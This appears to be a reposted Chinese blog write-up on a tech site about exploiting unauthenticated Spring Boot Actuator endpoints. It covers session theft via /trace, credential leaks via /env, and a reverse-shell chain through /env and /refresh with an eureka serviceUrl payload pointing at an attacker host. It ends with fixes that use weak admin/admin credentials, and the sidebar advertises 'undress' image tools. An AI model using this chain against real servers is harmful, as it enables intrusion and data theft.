亚洲国产日韩欧美一区二区三区,精品亚洲国产成人av在线,国产99视频精品免视看7,99国产精品久久久久久久成人热,欧美日韩亚洲国产综合乱

目錄
漏洞修復(fù)
首頁 運(yùn)維 安全 Spring Boot Actuator從未授權(quán)存取getshell的範(fàn)例分析

Spring Boot Actuator從未授權(quán)存取getshell的範(fàn)例分析

May 23, 2023 am 08:56 AM
spring boot actuator getshell

前言

部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點(diǎn)意思,就動手在本地搭了個環(huán)境測試一下。

Actuator 是 springboot 提供的用來對應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模組,借助於 Actuator 開發(fā)者可以很方便地對應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計等。在 Actuator 啟用的情況下,如果沒有做好相關(guān)權(quán)限控制,非法使用者可透過存取預(yù)設(shè)的執(zhí)行器端點(diǎn)(endpoints)來獲取應(yīng)用系統(tǒng)中的監(jiān)控信息,從而導(dǎo)致資訊外洩甚至伺服器被接管的事件發(fā)生。

Actuator是Spring Boot提供的功能模組,它可以用於自省和監(jiān)控應(yīng)用程式系統(tǒng)。 The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析









Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析


Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析


Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

'

#利用env加refresh進(jìn)行g(shù)etshell

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

#利用mappings,尋找未授權(quán)介面

利用trace,取得認(rèn)證資訊(Cookie、tooken、Session),利用認(rèn)證資訊存取介面。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

env有可能洩漏的資料庫帳號密碼(mangodb),當(dāng)然得開放外網(wǎng),可能性較小。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

老外說可以執(zhí)行sql語句,目前沒搞明白

#########漏洞發(fā)現(xiàn)####### ##通常識別目前web 應(yīng)用程式使用的框架為springboot 框架。主要有兩個方法判斷:############透過web 應(yīng)用程式網(wǎng)頁標(biāo)籤的圖示(favicon.ico);如果web 應(yīng)用程式開發(fā)者沒有修改springboot web 應(yīng)用程式的預(yù)設(shè)圖標(biāo),那麼進(jìn)入應(yīng)用程式首頁後面可以看到如下預(yù)設(shè)的綠色小圖示:###############################透過springboot 框架預(yù)設(shè)報錯頁面;如果web 應(yīng)用程式開發(fā)者沒有修改springboot web 應(yīng)用程式的預(yù)設(shè)4xx、5xx 報錯頁面,那麼當(dāng)web 應(yīng)用程式出現(xiàn)4xx、5xx 錯誤時,會報錯如下(此處僅以404 報錯頁面為例):存取一個隨便建構(gòu)的路徑,例如:http:/172.26.2.24:8090/index,出現(xiàn)如下報錯頁面說明web網(wǎng)站使用了springboot框架(在實(shí)際中遇到的大多數(shù)都是此類情況)。 ########################是綜合以上兩個途徑來判斷目前web 應(yīng)用程式是否為springboot 框架,就是透過存取不同的目錄,看是否有小綠葉圖標(biāo),然後就是想辦法在不同目錄下觸發(fā)應(yīng)用程式的4xx 或5xx 錯誤,看是否有Whitelabel Error Page 報錯。 ######漏洞利用#########存取/trace端點(diǎn)取得基本的 HTTP 請求追蹤資訊(時間戳記、HTTP 頭等),如果有登入使用者的操作請求,可以偽造cookie進(jìn)行登入。 ###############訪問/env端點(diǎn)取得全部環(huán)境屬性,由於actuator 會監(jiān)控網(wǎng)站mysql、mangodb 之類的資料庫服務(wù),所以透過監(jiān)控資訊有時可以mysql、mangodb 資料庫信息,如果資料庫剛好開放在公網(wǎng),那麼造成的危害是巨大的,###############/env端點(diǎn)配置不當(dāng)造成RCE,######前置條件:Eureka -Client <1.8.7(多見於Spring Cloud Netflix)######例如測試前臺json報錯洩漏包名就是使用netflix###############需要以下兩個套件######spring-boot-starter-actuator(/refresh刷新設(shè)定需要)######spring-cloud-starter-netflix-eureka-client(功能依賴)######利用python3啟動腳本,需要注意兩個地方,一個為接收shell的ip和端口,另一個為我們腳本啟動的端口,####################### #Nc監(jiān)聽一個連接埠用以接收反彈shell,######寫入配置,存取/env端點(diǎn),抓包將get請求改為post請求,post內(nèi)容為(該ip為腳本啟動的機(jī)器的ip) :###

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然後再造訪/refresh,抓包將get請求更改為post請求,post資料隨意,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然後在我們nc的視窗可以看到成功反彈了一個shell回來。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

漏洞修復(fù)

身為安全dog,不能只挖不修,在專案的pom.xml檔案下引入spring-boot -starter-security依賴

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析"></p>
<p>然後在application.properties中開啟security功能,設(shè)定存取帳號密碼,重新啟動應(yīng)用程式即可彈出。 </p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

停用接口,則可設(shè)定如下(如停用env介面):

endpoints.env.enabled = false

問題

老外說可以執(zhí)行sql語句發(fā)現(xiàn)執(zhí)行不了,可能方法沒用對,截了個他的圖,希望有執(zhí)行成功的大佬分享下。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

在實(shí)際環(huán)境中,發(fā)現(xiàn)很多無refresh ,導(dǎo)致無法執(zhí)行指令目前還沒突破

以上是Spring Boot Actuator從未授權(quán)存取getshell的範(fàn)例分析的詳細(xì)內(nèi)容。更多資訊請關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

本網(wǎng)站聲明
本文內(nèi)容由網(wǎng)友自願投稿,版權(quán)歸原作者所有。本站不承擔(dān)相應(yīng)的法律責(zé)任。如發(fā)現(xiàn)涉嫌抄襲或侵權(quán)的內(nèi)容,請聯(lián)絡(luò)admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣圖片

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅(qū)動的應(yīng)用程序,用於創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強(qiáng)大的PHP整合開發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺化網(wǎng)頁開發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Laravel 教程
1597
29
PHP教程
1488
72
如何使用Spring Boot建立大數(shù)據(jù)處理應(yīng)用 如何使用Spring Boot建立大數(shù)據(jù)處理應(yīng)用 Jun 23, 2023 am 09:07 AM

隨著大數(shù)據(jù)時代的到來,越來越多的企業(yè)開始了解並認(rèn)識到大數(shù)據(jù)的價值,並將其運(yùn)用到商業(yè)中。而隨之而來的問題就是如何處理這些大流量的數(shù)據(jù)。在這種情況下,大數(shù)據(jù)處理應(yīng)用程式成為了每個企業(yè)必須考慮的事情。而對於開發(fā)人員而言,如何使用SpringBoot建立一個高效的大數(shù)據(jù)處理應(yīng)用程式也是一個非常重要的問題。 SpringBoot是一個非常流行的Java框架,它可以讓

使用Spring Boot和JavaFX建立桌面應(yīng)用程式 使用Spring Boot和JavaFX建立桌面應(yīng)用程式 Jun 22, 2023 am 10:55 AM

隨著技術(shù)的不斷發(fā)展,我們現(xiàn)在可以使用不同的技術(shù)來建立桌面應(yīng)用程式。而SpringBoot和JavaFX則是現(xiàn)在較為流行的選擇之一。本文將重點(diǎn)放在如何使用這兩個框架來建立一個功能豐富的桌面應(yīng)用程式。一、介紹SpringBoot和JavaFXSpringBoot是基於Spring框架的快速開發(fā)框架。它可以幫助開發(fā)者快速建立Web應(yīng)用程序,同時提供一組開

Spring Boot+MyBatis+Atomikos+MySQL(附源碼) Spring Boot+MyBatis+Atomikos+MySQL(附源碼) Aug 15, 2023 pm 04:12 PM

我們在實(shí)際專案中,盡量規(guī)避分散式事務(wù)。但是,有些時候是真的需要做一些服務(wù)拆分從而會引出分散式事務(wù)問題。同時,分散式事務(wù)也是面試中市場被問到,可以拿著這個案例練練手,面試就可以說上個123了。

如何利用Spring Boot建立區(qū)塊鏈應(yīng)用和智慧合約 如何利用Spring Boot建立區(qū)塊鏈應(yīng)用和智慧合約 Jun 22, 2023 am 09:33 AM

隨著比特幣等數(shù)位貨幣的興起,區(qū)塊鏈技術(shù)也逐漸成為熱門話題。而智能合約,則可視為區(qū)塊鏈技術(shù)的重要組成部分。 SpringBoot作為一種流行的Java後端開發(fā)框架,也能夠用來建立區(qū)塊鏈應(yīng)用和智慧合約。本文將介紹如何利用SpringBoot來建構(gòu)基於區(qū)塊鏈技術(shù)的應(yīng)用與智慧合約。一、SpringBoot與區(qū)塊鏈?zhǔn)紫?,我們需要了解一些與區(qū)塊鏈相關(guān)的基本概念。區(qū)塊鏈

Spring Boot中使用WebSocket實(shí)現(xiàn)推播與通知功能 Spring Boot中使用WebSocket實(shí)現(xiàn)推播與通知功能 Jun 23, 2023 am 11:47 AM

在現(xiàn)代Web應(yīng)用程式開發(fā)中,WebSocket是實(shí)現(xiàn)即時通訊和即時資料傳輸?shù)某S眉夹g(shù)。 SpringBoot框架提供了整合WebSocket的支持,讓開發(fā)者可以非常方便地實(shí)現(xiàn)推播和通知功能。本文將介紹SpringBoot中如何使用WebSocket實(shí)現(xiàn)推播和通知功能,並示範(fàn)一個簡單的即時線上聊天室的實(shí)作。創(chuàng)建SpringBoot專案首先,我們需要創(chuàng)建一個

使用Spring Boot和Apache ServiceMix建置ESB系統(tǒng) 使用Spring Boot和Apache ServiceMix建置ESB系統(tǒng) Jun 22, 2023 pm 12:30 PM

隨著現(xiàn)代企業(yè)越來越依賴各種不同的應(yīng)用程式和系統(tǒng),企業(yè)整合變得愈發(fā)重要。企業(yè)服務(wù)匯流排(ESB)就是一種整合架構(gòu)模式,透過將不同系統(tǒng)和應(yīng)用程式連接在一起,提供通用的資料交換和訊息路由服務(wù),從而實(shí)現(xiàn)企業(yè)級應(yīng)用程式整合。使用SpringBoot和ApacheServiceMix,我們可以輕鬆建立一個ESB系統(tǒng),這篇文章將介紹如何實(shí)作。 SpringBoot和A

Spring Boot的任務(wù)排程與定時任務(wù)實(shí)作方法 Spring Boot的任務(wù)排程與定時任務(wù)實(shí)作方法 Jun 22, 2023 pm 11:58 PM

SpringBoot是一款非常受歡迎的Java開發(fā)框架,不僅具有快速開發(fā)的優(yōu)勢,而且還內(nèi)建了許多實(shí)用的功能,其中,任務(wù)調(diào)度和定時任務(wù)就是其常用的功能之一。本文將探討SpringBoot的任務(wù)調(diào)度和定時任務(wù)實(shí)現(xiàn)方法。一、SpringBoot任務(wù)調(diào)度簡介SpringBoot任務(wù)調(diào)度(TaskScheduling)是指在特定的時間點(diǎn)或某個條件下,執(zhí)行一些特

透過Spring Boot實(shí)現(xiàn)多語言支援和國際化應(yīng)用 透過Spring Boot實(shí)現(xiàn)多語言支援和國際化應(yīng)用 Jun 23, 2023 am 09:09 AM

隨著全球化的發(fā)展,越來越多的網(wǎng)站和應(yīng)用需要提供多語言支援和國際化功能。對於開發(fā)人員而言,實(shí)現(xiàn)這些功能並不是一件容易的事情,因為它需要考慮許多方面的問題,例如語言的翻譯、日期、時間和貨幣格式等等。但是,使用SpringBoot框架,我們可以輕鬆實(shí)現(xiàn)多語言支援和國際化應(yīng)用。首先,讓我們來了解一下SpringBoot提供的LocaleResolver介面。 Loc

See all articles